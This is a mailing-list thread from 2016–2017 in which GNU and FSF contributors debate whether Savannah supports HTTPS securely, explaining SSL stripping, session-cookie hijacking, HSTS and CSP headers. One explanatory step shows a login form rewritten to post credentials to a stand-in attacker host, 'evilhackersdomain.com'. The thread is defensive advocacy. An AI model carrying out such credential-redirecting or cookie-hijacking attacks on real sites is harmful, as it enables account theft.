Re: [Repo-criteria-discuss] Savannah and HTTPS

2017-01-26 Thread Hanno Böck
Hi,

I wrote this four months ago:

On Mon, 19 Sep 2016 12:30:03 +0200
Hanno Böck  wrote:

> But second - more important - it's basically irrelevant, because the
> login page itself is served over http. Whatever the user selects there
> is already under full control of a potential attacker. Even though the
> login data usually is sent over https, this can easily be changed by
> an attacker with an ssl stripping attack.

Yet nothing happened until now.

The latest Firefox version 51 now warns about such insecure forms:
https://pbs.twimg.com/media/C29x6e2XcAEwOPv.jpg



-- 
Hanno Böck
https://hboeck.de/

mail/jabber: ha...@hboeck.de
GPG: FE73757FA60E4E21B937579FA5880072BBB51E42


pgpALGuJMzMwD.pgp
Description: OpenPGP digital signature


Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-10-10 Thread Mike Gerwitz
On Mon, Oct 10, 2016 at 05:01:05 -0400, Richard Stallman wrote:
> I don't understand those words.  I can only say that the conclusion,
> "Security requres discontinuing support for HTTP," is an extraordinary
> claim and requires extraordinary proof.  I am extremely skeptical.

It depends on what you are trying to mitigate.

In the Savannah case, it's important to protect both the user's login
data and their session itself.  When the user is logged in, it's
important to protect against MitM attacks that could be used to hijack
their session or trick them into doing things that they might not want
to do.

More broadly: MitM attacks are always a concern and cannot be mitigated
with plain HTTP.  If the integrity of the data are important---e.g. the
information the user reads and the files that they download---then HTTPS
is important.  There is nothing preventing employers, networks, ISPs, or
states from censoring or modifying content.  Comcast was caught
injecting JavaScript into users' webpages to notify them of copyright
violations.[0] This same method is used by malware to inject
ads.  Wikipedia implements HTTPS in part to ensure the integrity of
their articles.[1]  If I'm visiting a site over Tor, a malicious exit
node could modify and sniff non-HTTPS pages.

There is also the issue of privacy.  With HTTPS, an adversary monitoring
a network (Eve) would know that Alice is looking at Wikipedia, but not
what Alice is looking at.  With plain HTTP, Eve knows exactly what
articles Alice is reading.  This can be potentially life-threatening in
some countries where reading certain articles is a crime.  For others,
it might simply be embarrassing.  If I'm concerned about a health
condition that I want to look up at work, I don't want my employer
knowing I'm looking at it.

It's usually not the case that I can't trust the website itself---it's
everything _else_ that can go wrong.  It's unfortunate that the first
thought in my mind the entire time I'm online (Web or otherwise) is
mitigating various adversaries, but that's the reality.


[0]: https://news.ycombinator.com/item?id=10592775
[1]: https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/

-- 
Mike Gerwitz
Free Software Hacker+Activist | GNU Maintainer & Volunteer
GPG: 2217 5B02 E626 BC98 D7C0  C2E5 F22B B815 8EE3 0EAB
https://mikegerwitz.com


signature.asc
Description: PGP signature


Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-10-10 Thread Mike Gerwitz
On Mon, Oct 10, 2016 at 05:00:52 -0400, Richard Stallman wrote:
>   > Richard: unless there's a compelling reason not to, I think the
>   > sysadmins or Savannah hackers (whomever has the ablity) should just add
>   > a webserver rule to redirect all requests on port 80 to 443.
>
> Would this, by itself, fix the immediate problem?

Not completely, for the reason below.

>   >   For
>   > example, if the login form was loaded over HTTPS, but accidentally posts
>   > to an HTTP link,
>
> Please spell out that scenario more clearly; I do not follow you.

Let's assume that the Savannah webserver is configured to redirect all
HTTP requests to HTTPS, as suggested above.

A hypothetical situation (this isn't the case today):

  0. Alice visits https://savannah.gnu.org/account/login.php.
  
  1. Alice is presented with a login form.  This connection is secure.
  
  2. Since Alice is already using HTTPS, the login form would
 normally post its data over HTTPS.  But due to a (hypothetical)
 configuration issue or bug on Savannah, the form is instead
 instructed to post to http://savannah.gnu.org, without HTTPS.
  
  3. The request is made plaintext over HTTP, containing Alice's
 username and password.  Eve, an eavesdropper, observes the data.
  
  4. The Savannah webserver receives the request, sees that it's HTTP,
 and instructs the browser to redirect to HTTPS.
  
  5. The web browser re-submits the request to https://savannah.gnu.org,
 and Alice is none the wiser.  The login succeeds as expected.

Alice observed a secure connection the entire time, but Eve was still
able to harvest her password.[*]

Let's pretend that the above wasn't possible, and Eve doesn't have
Alice's username and password.  She's not out of luck yet.  Savannah
knows that Alice is logged in because of a session cookie stored in the
browser.  This cookie is sent to Savannah encrypted, because Alice is
using HTTPS.

If there is a single link on Savannah misconfigured to point to the HTTP
website, that cookie will be sent in plain text.  If Alice returns to
Savannah at a later time---still logged in---by typing
`savannah.gnu.org' in her browser, her request will first be served over
HTTP.  The cookie will be sent in plain text to the server before she is
redirected.

Eve can take that cookie and send it to the server herself---she will
have assumed the identity of Alice.  If I'm Alice, then Eve is now a
superuser, and can do with Savannah as she pleases.  Fortunately, I
mitigate that with the HTTPS Everywhere addon.

There are other concerns, but this is what HTTP Strict Transport
Security (HSTS) aims to prevent---it tells the web browser, via an HTTP
header, that it should _never_ request a page over HTTP, even if
explicitly instructed to by the webpage.[0]  Eve will have to find
another way.

The solution to the problem is:

  - Redirect all requests to HTTPS; _and_
  - Use the HSTS header.

Further (this is more technical; you needn't read it):

The cookie hijack attack is possible because the cookies on Savannah are
not served with a flag that tells the browser to _never_ serve the
cookie over HTTP.

  - HSTS will mitigate the issue in newer browsers, but the HTTPS-only
cookie flag should also be set.
  - The option on the login page to "stay in secure (https) mode after
login" should be removed---of course you'd want that.


[0]: https://en.wikipedia.org/wiki/HSTS

[*]: As a real-world example: I was logging into nature.com at work,
which uses HTTP.  One of my coworkers---who handles the systems that
monitor logs for threats---notified me that my password was plaintext in
the logs.  Fortunately, he is a good guy.  And fortunately, my Nature
account wasn't sensitive, and used a password unique to that website;
if my password were shared, accounts on other websites would effectively
be compromised.

-- 
Mike Gerwitz
Free Software Hacker+Activist | GNU Maintainer & Volunteer
GPG: 2217 5B02 E626 BC98 D7C0  C2E5 F22B B815 8EE3 0EAB
https://mikegerwitz.com


signature.asc
Description: PGP signature


Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-10-10 Thread Hanno Böck
On Mon, 10 Oct 2016 05:01:05 -0400
Richard Stallman  wrote:

>   > It says to support HTTPS properly and *securely*. The current
>   > variant is not secure, it is vulnerable to SSL Stripping attacks.
>   > That's why HSTS was invented in the first place.  
> 
> I don't know what you are talking about.

Ok, I'll try to explain in more detail:
* A Savannah user surfs to the savannah webpage, e.g. through a link,
  the page is delivered over HTTP.
* He clicks on Login. Still HTTP.
* The login page contains a form with this:
action="https://savannah.gnu.org/account/login.php";
* However as that login page itself was not protected a network-level
  attacker can just change that to something like:
action="http://evilhackersdomain.com/getsavannahcredentials.cgi";
* From there the attacker will grab the login data and just forward the
  user back to the real savannah login.

The attacker has the login credentials and the user noted nothing. This
scenario and similar ones is called an SSL Stripping attack, I think
the term was coined by Moxie Marlinspike in a talk in 2009:
https://moxie.org/software/sslstrip/

The important thing to understand here is that HTTPS is about privacy
*and* integrity of the transmitted data. The latter part often gets
forgotten. When you transmit data over HTTP this not only means an
attacker can read it, it also means an attacker can change it.


Now consider the alternative scenario, where everything is HTTPS and
HTTP requests always get forwarded:
* User goes to Savannah, e.g. through a link. If the link is old and
  still HTTP there is still a possibility for an attack here, but only
  right at the beginning. In an ideal case over time all links,
  bookmarks and search engines will learn over time that the page is
  HTTPS only.
* To avoid the attack at the beginning one can use HSTS, a
  standardized header which tells the browser that the page is HTTPS
  only and no requests ever should go over HTTP. Then the attack
  surface is reduced to the very first contact between the user and the
  page.
* If one wants to reduce the attack surface even more you can also add
  the page as a preloaded HSTS page to the browser itself.
  Chromium and Firefox share a list of HSTS-preloaded pages
  (some other proprietary browsers also use that list):
https://hstspreload.appspot.com/


> I don't understand those words.  I can only say that the conclusion,
> "Security requres discontinuing support for HTTP," is an extraordinary
> claim and requires extraordinary proof.  I am extremely skeptical.

You may find that an extraordinary claim, but it's widely consensus
among people caring about web security. There's a reason many want an
HTTPS-only web.

I explained the SSL Stripping scenario above. Another issue that makes
almost all hybrid HTTP/HTTPS solutions insecure are Cookies. If you
have a design like the current savannah where it's possible that the
user gets redirected back to HTTP after login the cookie can be stolen
and an attacker can take over the session. This can be avoided by
carefully making sure that all cookies get the secure flag. But it's
much easier to just avoid it by using HSTS, which prevents cookies from
ever being sent over HTTP.


-- 
Hanno Böck
https://hboeck.de/

mail/jabber: ha...@hboeck.de
GPG: FE73757FA60E4E21B937579FA5880072BBB51E42


pgpQymBYDbI_C.pgp
Description: OpenPGP digital signature


Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-10-10 Thread Richard Stallman
[[[ To any NSA and FBI agents reading my email: please consider]]]
[[[ whether defending the US Constitution against all enemies, ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

  > It says to support HTTPS properly and *securely*. The current variant
  > is not secure, it is vulnerable to SSL Stripping attacks. That's why
  > HSTS was invented in the first place.

I don't know what you are talking about.

  > Leaving the HTTP default open means people's access credentials can be
  > stolen by an active attacker - even if they think they're using https
  > because of the misleading option at the login screen.

I don't understand those words.  I can only say that the conclusion,
"Security requres discontinuing support for HTTP," is an extraordinary
claim and requires extraordinary proof.  I am extremely skeptical.

-- 
Dr Richard Stallman
President, Free Software Foundation (gnu.org, fsf.org)
Internet Hall-of-Famer (internethalloffame.org)
Skype: No way! See stallman.org/skype.html.




Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-10-10 Thread Richard Stallman
[[[ To any NSA and FBI agents reading my email: please consider]]]
[[[ whether defending the US Constitution against all enemies, ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

  > In the case of Savannah, if the user loads the page over HTTPS, they
  > will be served the login form over HTTPS.  That's good, but a redirect
  > should still otherwise happen.

I don't understand what you mean here.  Would you please state your
proposal concretely in a self-contained way?

However, that should be a separate discussion.  The question at hand
is to make Savannah _fully support HTTPS_, nothing more.

  > Richard: unless there's a compelling reason not to, I think the
  > sysadmins or Savannah hackers (whomever has the ablity) should just add
  > a webserver rule to redirect all requests on port 80 to 443.

Would this, by itself, fix the immediate problem?

  >   For
  > example, if the login form was loaded over HTTPS, but accidentally posts
  > to an HTTP link,

Please spell out that scenario more clearly; I do not follow you.

-- 
Dr Richard Stallman
President, Free Software Foundation (gnu.org, fsf.org)
Internet Hall-of-Famer (internethalloffame.org)
Skype: No way! See stallman.org/skype.html.




Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-10-09 Thread Mike Gerwitz
On Sun, Oct 09, 2016 at 11:01:33 +, Juuso Lapinlampi wrote:
> I still don't like the idea of having login pages (or login session
> cookies) reachable over HTTP.

It is also worth noting that Firefox will soon display websites that
serve login forms over HTTP as insecure:

https://hacks.mozilla.org/2016/01/login-forms-over-https-please/

I agree that in modern times it is irresponsible to serve login forms
over a plaintext connection, but I'm not crying bad intent or negligence
here---now that we're aware of the issue, it just needs a slight change.

In the case of Savannah, if the user loads the page over HTTPS, they
will be served the login form over HTTPS.  That's good, but a redirect
should still otherwise happen.  I say this because it is also important
to note that it is not an option to use Tor to log into a website using
a plaintext HTTP connection---that allows malicious exit nodes to
harvest account information.

So the simple change here is to add a webserver redirect to ensure that
the login form always redirects to HTTPs (/account/login.php).

The EFF's HTTPS Everywhere plugin was created to help to mitigate this
issue (sites supporting HTTPS serving HTTP as well), as it is
widespread.  I use it, which is why I never noticed the issue on
Savannah.

The better option is to simply drop HTTP support on Savannah entirely
and always redirect.  Going back to Tor: it's also not wise to use
Savannah over HTTP when logged in over Tor, because a malicious node
could hijack your session.  This is also true for any other MITM, which
is trivial and undetectable over HTTP.

Richard: unless there's a compelling reason not to, I think the
sysadmins or Savannah hackers (whomever has the ablity) should just add
a webserver rule to redirect all requests on port 80 to 443.  Ideally,
the HSTS header could be added at the same time, since that was created
to mitigate the issue of HTTP requests accidentally being made.  For
example, if the login form was loaded over HTTPS, but accidentally posts
to an HTTP link, then those login data will be first posted in
plaintext, before then being redirected (and reposted) over a secure
connection.

-- 
Mike Gerwitz
Free Software Hacker+Activist | GNU Maintainer & Volunteer
GPG: 2217 5B02 E626 BC98 D7C0  C2E5 F22B B815 8EE3 0EAB
https://mikegerwitz.com


signature.asc
Description: PGP signature


Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-10-09 Thread Juuso Lapinlampi
On Sun, Oct 09, 2016 at 11:37:12AM +0200, Hanno Böck wrote:
> It says to support HTTPS properly and *securely*. The current variant
> is not secure, it is vulnerable to SSL Stripping attacks. That's why
> HSTS was invented in the first place.

Just letting you know about CSP upgrade-insecure-requests.

It doesn't solve the issue you're pointing out, but redirects clients
from HTTP to HTTPS. Hitting a HTTPS page will also force HTTPS in the
future with HSTS.

In other words, I think this is what Richard wanted, with ability to
browse the Savannah repositories over HTTP too. No programming required?

$ curl -I http://mirror.se.partyvan.eu/
HTTP/1.1 200 OK
[...]
Content-Security-Policy: upgrade-insecure-requests

$ curl -I http://mirror.se.partyvan.eu/ -H "Upgrade-Insecure-Requests: 1"
HTTP/1.1 307 Temporary Redirect
[...]
Location: https://mirror.se.partyvan.eu/
Vary: Upgrade-Insecure-Requests

$ curl -I https://mirror.se.partyvan.eu/
HTTP/1.1 200 OK
[...]
Strict-Transport-Security: max-age=15768000; includeSubDomains; preload
Content-Security-Policy: block-all-mixed-content; default-src 'self'
Public-Key-Pins: pin-sha256=[...]

With block-all-mixed-content, clients supporting it will refuse to
create HTTP requests on that site if HTTP links appear. There are CSP
variations which upgrade HTTP requests to HTTPS.

This way, both HTTP and HTTPS are supported simultaneously. I know at
least Chromium sends the "Upgrade-Insecure-Requests: 1" header with
every page request.

Mind you, the more common 301 redirects (forced HTTP -> HTTPS) are still
vulnerable to stripping too. The HTTP status is cached, but still viable
to MITM on first connection or after cache expiry.

I still don't like the idea of having login pages (or login session
cookies) reachable over HTTP.



Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-10-09 Thread Hanno Böck
On Sat, 08 Oct 2016 16:58:28 -0400
Richard Stallman  wrote:

>   > A couple people have raised concerns about Savannah and whether
>   > it meets criteria C6, which states: "Support HTTPS properly and
>   > securely, including the site's certificates."  
> 
> The first one seems to be trying to distort the meaning of those
> words.  To support HTTPS does NOT mean to refuse to support HTTP.

It says to support HTTPS properly and *securely*. The current variant
is not secure, it is vulnerable to SSL Stripping attacks. That's why
HSTS was invented in the first place.

>   > > * Remove the nonsensical login option and make security the
>   > > default.
>   > > * Redirect all http queries to https.
>   > > * Set an HSTS header to avoid accidental http access.  
> 
> Those are not necessary.  There is no need for sites to refuse
> to support HTTP.

Can you explain that?
Leaving the HTTP default open means people's access credentials can be
stolen by an active attacker - even if they think they're using https
because of the misleading option at the login screen.
I don't think leaving people vulnerable to such attacks is ethical.

-- 
Hanno Böck
https://hboeck.de/

mail/jabber: ha...@hboeck.de
GPG: FE73757FA60E4E21B937579FA5880072BBB51E42


pgp1AwSIDRef0.pgp
Description: OpenPGP digital signature


Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-10-08 Thread Richard Stallman
[[[ To any NSA and FBI agents reading my email: please consider]]]
[[[ whether defending the US Constitution against all enemies, ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

  > A couple people have raised concerns about Savannah and whether it meets
  > criteria C6, which states: "Support HTTPS properly and securely,
  > including the site's certificates."

The first one seems to be trying to distort the meaning of those
words.  To support HTTPS does NOT mean to refuse to support HTTP.
If that's what we meant, we would have said that.

However, this point

  > But
  > > even more worrying is that there is no way to access the savannah git
  > > repositories in a secure way for anonymous users.
  > >
  > > If you look at a repository site like this:
  > > http://savannah.gnu.org/git/?group=patch
  > >
  > > There are two ways to clone the repo: Over the git:// protocol, which
  > > is plaintext and insecure, and over ssh, which is only available if you
  > > have a savannah account and are a member of that project. Therefore for
  > > all people that are not part of a project there is no secure way of
  > > getting the git code.
  > >

seems to be valid.  That is a real problem.

Looking at their four points:

  > > * Remove the nonsensical login option and make security the default.
  > > * Redirect all http queries to https.
  > > * Set an HSTS header to avoid accidental http access.

Those are not necessary.  There is no need for sites to refuse
to support HTTP.

  > > * Create an anonymous git checkout option over HTTPS.

We do need to do that one.

Can any of you help do this?

If necessary, we could ask our sysadmins to help -- but I think this
is more of a programming issue than a sysadmin issue.





Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-10-07 Thread Mike Gerwitz
On Fri, Oct 07, 2016 at 11:29:29 +, Juuso Lapinlampi wrote:
> Ping. The changes have not apparently yet been applied.
>
> Some transparency, please?

There is no lack of transparency---there hasn't been movement.  I've
been very busy and this slipped my mind.  rms was also quite overloaded,
so I didn't want to contact him about it just yet.

The Savannah hackers need help.  Here is some information:

https://savannah.gnu.org/maintenance/SavannahInternals/
https://savannah.gnu.org/maintenance/SavannahHosts/
https://savannah.gnu.org/maintenance/RunningSavaneLocally/
https://lists.gnu.org/archive/html/savannah-hackers-public/2016-07/msg00024.html
https://lists.gnu.org/archive/html/savannah-hackers-public/2016-08/msg00012.html
https://lists.gnu.org/archive/html/savannah-hackers-public/2016-09/msg9.html
https://lists.gnu.org/archive/html/savannah-users/2014-11/msg0.html

I'll e-mail rms.

-- 
Mike Gerwitz
Free Software Hacker+Activist | GNU Maintainer & Volunteer
GPG: 2217 5B02 E626 BC98 D7C0  C2E5 F22B B815 8EE3 0EAB
https://mikegerwitz.com


signature.asc
Description: PGP signature


Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-10-07 Thread Mike Gerwitz
Richard:

A couple people have raised concerns about Savannah and whether it meets
criteria C6, which states: "Support HTTPS properly and securely,
including the site's certificates."

I'm not entirely sure how to intended "properly and securely" to be
interpreted, but from a security standpoint, there are legitimate
issues.

I quoted the e-mail in full below.  The solution to the problems are:

  - Modify the webserver configuration to send an HTTP header ("HSTS")
with HTTP responses that tells the client never to attempt non-HTTPS
connections;
  - Redirect all traffic to :443 (HTTPS);
  - Rewrite all URLs on webpages to use https; and
  - All of the above for git.savannah.{non,}gnu.org.

I sent these to the Savannah hackers.  Understandably, they're in need
of help.  I forwarded the links they sent me to repo-criteria-discuss@
so that others can look into how to volunteer and understand the state
of things.

Currently, they are migrating to new VMs provided by the FSF and would
like to make changes there.  Changes to git.savannah.gnu.org to support
repositories over HTTPS isn't something they say they can do on the old
hardware with limited resources.

I have two questions for you:

  - Given the issues below, do you consider Savannah to implement HTTPS
"properly and securely"?

  - Changes to the first three items above could conceivably be made to
the existing servers until migration is complete; otherwise they'll
have to wait, which might be a while (I don't know how
long).  Should precedence be given to resolving the first three
issues on the current servers?

Please let me know your thoughts on how we should proceed.


On Mon, Sep 19, 2016 at 12:30:03 +0200, Hanno Böck wrote:
> Hi,
>
> A while ago I noted that the FSF has made an evaluation of code hosting
> services and Savannah got rated as an A. I found that irritating,
> because based on my experience savannah has some severe security
> issues - which gave me the impression that the FSF only cares about
> free code (on which I agree) and not other issues, which I find
> worrying.
>
> I now checked this in more detail and saw that the criteria contains
> actually something that indicates this is not the case:
> "Support HTTPS properly and securely, including the site's
> certificates. (C6)"
>
> If I understand this correctly a "C" criteria must be met by all sites
> getting C or any higher rating. While this criterion is not very
> specific, I'd argue that savannah doesn't fullfil it for various
> reasons.
>
> *The savannah webpage itself*
>
> If you surf to the savannah webpage it is served over http unless you
> explicitly use an https URL. If you click on "login" there is an option
> "Stay in secure (https) mode after login". This all doesn't make a lot
> of sense.
>
> First of all having security as something optional doesn't make any
> sense. It's like asking a user: "Do you want attackers to be able to
> impersonate you and act on your behalf?" Nobody will answer "Yes" to
> that.
> But second - more important - it's basically irrelevant, because the
> login page itself is served over http. Whatever the user selects there
> is already under full control of a potential attacker. Even though the
> login data usually is sent over https, this can easily be changed by an
> attacker with an ssl stripping attack.
>
> *The code repositories*
>
> Now all of the above can be aleviated a bit if a user carefully uses
> https all the time manually or uses a plugin like https everywhere. But
> even more worrying is that there is no way to access the savannah git
> repositories in a secure way for anonymous users.
>
> If you look at a repository site like this:
> http://savannah.gnu.org/git/?group=patch
>
> There are two ways to clone the repo: Over the git:// protocol, which
> is plaintext and insecure, and over ssh, which is only available if you
> have a savannah account and are a member of that project. Therefore for
> all people that are not part of a project there is no secure way of
> getting the git code.
>
>
>
> I think for these two reasons one cannot argue that savannah supports
> HTTPS "properly and securely".
>
> I don't know if people operating savannah read this, but I'd recommend
> these changes:
> * Remove the nonsensical login option and make security the default.
> * Redirect all http queries to https.
> * Set an HSTS header to avoid accidental http access.
> * Create an anonymous git checkout option over HTTPS.
>
> Until these issues have been resolved I think savannah should no longer
> be called an ethical code hosting option.

-- 
Mike Gerwitz
Free Software Hacker+Activist | GNU Maintainer & Volunteer
GPG: 2217 5B02 E626 BC98 D7C0  C2E5 F22B B815 8EE3 0EAB
https://mikegerwitz.com


signature.asc
Description: PGP signature


Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-10-07 Thread Juuso Lapinlampi
On Wed, Sep 21, 2016 at 08:38:25PM -0400, Mike Gerwitz wrote:
> On Wed, Sep 21, 2016 at 22:05:14 +, Juuso Lapinlampi wrote:
> > Any insight yet on what's going on with this? Would expect this issue to
> > be resolved expeditiously or at least transparently now.
> 
> Yes; I'm just getting some more information and possible solutions, and
> then I'll be getting it over to both this list and rms.  I've been the
> slowdown with contacting them.

Ping. The changes have not apparently yet been applied.

Some transparency, please?



Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-09-21 Thread Mike Gerwitz
On Wed, Sep 21, 2016 at 22:05:14 +, Juuso Lapinlampi wrote:
> Any insight yet on what's going on with this? Would expect this issue to
> be resolved expeditiously or at least transparently now.

Yes; I'm just getting some more information and possible solutions, and
then I'll be getting it over to both this list and rms.  I've been the
slowdown with contacting them.

-- 
Mike Gerwitz
Free Software Hacker+Activist | GNU Maintainer & Volunteer
GPG: 2217 5B02 E626 BC98 D7C0  C2E5 F22B B815 8EE3 0EAB
https://mikegerwitz.com


signature.asc
Description: PGP signature


Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-09-21 Thread Juuso Lapinlampi
On Mon, Sep 19, 2016 at 09:32:14PM -0400, Mike Gerwitz wrote:
> I'm actually concerned about this from a GNU perspective, so I'll
> contact them on behalf of GNU.  The FSF sysadmins had to take care
> of an expired cert, so I'm not sure how much the Savannah hackers will
> be able to take care of themselves; I'll figure it out.

Any insight yet on what's going on with this? Would expect this issue to
be resolved expeditiously or at least transparently now.



Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-09-19 Thread Mike Gerwitz
On Mon, Sep 19, 2016 at 10:56:48 -0400, Zak Rogoff wrote:
> Thanks for raising this concern. Is anyone available to open a dialogue
> with the Savannah developers, offering to help them evaluate the
> situation and make improvements?

I also brought this up >1 month ago to the sysadmins, but I hadn't
received a reply.

I'm actually concerned about this from a GNU perspective, so I'll
contact them on behalf of GNU.  The FSF sysadmins had to take care
of an expired cert, so I'm not sure how much the Savannah hackers will
be able to take care of themselves; I'll figure it out.

-- 
Mike Gerwitz
Free Software Hacker+Activist | GNU Maintainer & Volunteer
GPG: 2217 5B02 E626 BC98 D7C0  C2E5 F22B B815 8EE3 0EAB
https://mikegerwitz.com


signature.asc
Description: PGP signature


Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-09-19 Thread Zak Rogoff
Thanks for raising this concern. Is anyone available to open a dialogue
with the Savannah developers, offering to help them evaluate the
situation and make improvements?

-- 
Zak Rogoff // Campaigns Manager
Free Software Foundation



signature.asc
Description: OpenPGP digital signature


Re: [Repo-criteria-discuss] Savannah and HTTPS

2016-09-19 Thread Juuso Lapinlampi
On Mon, Sep 19, 2016 at 12:30:03PM +0200, Hanno Böck wrote:
> *The code repositories*
> 
> Now all of the above can be aleviated a bit if a user carefully uses
> https all the time manually or uses a plugin like https everywhere. But
> even more worrying is that there is no way to access the savannah git
> repositories in a secure way for anonymous users.
> 
> If you look at a repository site like this:
> http://savannah.gnu.org/git/?group=patch
> 
> There are two ways to clone the repo: Over the git:// protocol, which
> is plaintext and insecure, and over ssh, which is only available if you
> have a savannah account and are a member of that project. Therefore for
> all people that are not part of a project there is no secure way of
> getting the git code.
> 
> 
> 
> I think for these two reasons one cannot argue that savannah supports
> HTTPS "properly and securely".
> 
> I don't know if people operating savannah read this, but I'd recommend
> these changes:
> * Remove the nonsensical login option and make security the default.
> * Redirect all http queries to https.
> * Set an HSTS header to avoid accidental http access.
> * Create an anonymous git checkout option over HTTPS.

I have reported this issue to GNU webmasters three months ago, who said
to forward this to the Savannah team. Nothing has happened so far.

There used to be "includeSubDomains" directive in gnu.org (root), but it
was broken in regards to Savannah and removed.

I have attached the whole email conversation with GNU webmasters. The
incorrect use of terms from GNU's side does not make me very
confident...

> 
> Until these issues have been resolved I think savannah should no longer
> be called an ethical code hosting option.

Agreed, and I have criticized issues similar to this before on this
list.
>From w...@partyvan.eu Thu Jul 14 06:13:58 2016
Date: Thu, 14 Jul 2016 06:13:58 +
From: Juuso Lapinlampi 
To: webmas...@gnu.org
Cc: webmast...@gnu.org
Subject: HSTS policy on gnu.org prevents loading *.savannah.gnu.org
Message-ID: <20160714061358.ga31...@partyvan.eu>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.5.24 (2015-08-30)
Status: RO
Content-Length: 473
Lines: 16

gnu.org enforces a HSTS policy with includeSubDomains.

The following subdomains however do not support HTTPS:

git.savannah.gnu.org
vcs.savannah.gnu.org
bzr.savannah.gnu.org

It is thus not possible to browse the source code in HSTS-enforcing
user-agents. savannah.gnu.org links to these subdomains with "browse
source repository".

Please apply one of the following fixes:

1. Add HTTPS support to *.savannah.gnu.org; or
2. Modify the HSTS policy on gnu.org.

>From rtboun...@gnu.org Thu Jul 14 17:17:49 2016
Return-Path: rtboun...@gnu.org
Delivered-To: w...@partyvan.eu
Received: from rt.gnu.org (rt.gnu.org [74.94.156.213])
by mail.partyvan.eu (OpenSMTPD) with ESMTPS id 69378bb0
TLS version=TLSv1 cipher=AES256-SHA bits=256 verify=NO
for ;
Thu, 14 Jul 2016 17:17:49 + (UTC)
Received: from www-data by rt.gnu.org with local (Exim 4.69)
(envelope-from )
id 1bNkGg-0001TS-8h
for w...@partyvan.eu; Thu, 14 Jul 2016 13:17:46 -0400
Subject: [gnu.org #1127678] HSTS policy on gnu.org prevents loading 
*.savannah.gnu.org 
From: "Lisa Maginnis via RT" 
Reply-To: sysad...@gnu.org
In-Reply-To: <20160714061358.ga31...@partyvan.eu>
References:  <20160714061358.ga31...@partyvan.eu>
Message-ID: 
Precedence: bulk
X-RT-Loop-Prevention: gnu.org
RT-Ticket: gnu.org #1127678
Managed-by: RT 3.4.5 (http://www.bestpractical.com/rt/)
RT-Originator: li...@fsf.org
To: w...@partyvan.eu
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-RT-Original-Encoding: utf-8
Date: Thu, 14 Jul 2016 13:17:46 -0400
Status: RO
X-Status: A
Content-Length: 511
Lines: 21

Hello,

Thank you for this report. I have removed the `subdomain' directive from
our HSTS header on gnu.org. This should resolve the issue for you
(pending clearing your browser cache in some cases). 

In the mean time I have also contacted the Savannah team about
configuring SSL the domains you listed.

Thanks & Happy hackingz,

-- 
~Lisa Marie Maginnis
Senior System Administrator
Free Software Foundation
http://fsf.org http://gnu.org
GPG Key: 61EEC710

Support our infrastructure!
https://donate.fsf.org


>From w...@partyvan.eu Thu Jul 14 17:31:01 2016
Date: Thu, 14 Jul 2016 17:31:01 +
From: Juuso Lapinlampi 
To: Lisa Maginnis via RT 
Subject: Re: [gnu.org #1127678] HSTS policy on gnu.org prevents loading
 *.savannah.gnu.org
Message-ID: <20160714173101.ga23...@partyvan.eu>
References: 
 <20160714061358.ga31...@partyvan.eu>
 
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: 
User-Agent: Mutt/1.5.24 (2015-08-30)
Status: RO
Content-Length: 293
Lines: 6

On Thu, Jul 14, 2016 at 01:17:46PM -0400, Lisa Maginnis via RT wrote:
> In the 

[Repo-criteria-discuss] Savannah and HTTPS

2016-09-19 Thread Hanno Böck
Hi,

A while ago I noted that the FSF has made an evaluation of code hosting
services and Savannah got rated as an A. I found that irritating,
because based on my experience savannah has some severe security
issues - which gave me the impression that the FSF only cares about
free code (on which I agree) and not other issues, which I find
worrying.

I now checked this in more detail and saw that the criteria contains
actually something that indicates this is not the case:
"Support HTTPS properly and securely, including the site's
certificates. (C6)"

If I understand this correctly a "C" criteria must be met by all sites
getting C or any higher rating. While this criterion is not very
specific, I'd argue that savannah doesn't fullfil it for various
reasons.

*The savannah webpage itself*

If you surf to the savannah webpage it is served over http unless you
explicitly use an https URL. If you click on "login" there is an option
"Stay in secure (https) mode after login". This all doesn't make a lot
of sense.

First of all having security as something optional doesn't make any
sense. It's like asking a user: "Do you want attackers to be able to
impersonate you and act on your behalf?" Nobody will answer "Yes" to
that.
But second - more important - it's basically irrelevant, because the
login page itself is served over http. Whatever the user selects there
is already under full control of a potential attacker. Even though the
login data usually is sent over https, this can easily be changed by an
attacker with an ssl stripping attack.

*The code repositories*

Now all of the above can be aleviated a bit if a user carefully uses
https all the time manually or uses a plugin like https everywhere. But
even more worrying is that there is no way to access the savannah git
repositories in a secure way for anonymous users.

If you look at a repository site like this:
http://savannah.gnu.org/git/?group=patch

There are two ways to clone the repo: Over the git:// protocol, which
is plaintext and insecure, and over ssh, which is only available if you
have a savannah account and are a member of that project. Therefore for
all people that are not part of a project there is no secure way of
getting the git code.



I think for these two reasons one cannot argue that savannah supports
HTTPS "properly and securely".

I don't know if people operating savannah read this, but I'd recommend
these changes:
* Remove the nonsensical login option and make security the default.
* Redirect all http queries to https.
* Set an HSTS header to avoid accidental http access.
* Create an anonymous git checkout option over HTTPS.

Until these issues have been resolved I think savannah should no longer
be called an ethical code hosting option.

-- 
Hanno Böck
https://hboeck.de/

mail/jabber: ha...@hboeck.de
GPG: FE73757FA60E4E21B937579FA5880072BBB51E42


pgpbay7w2MwT8.pgp
Description: OpenPGP digital signature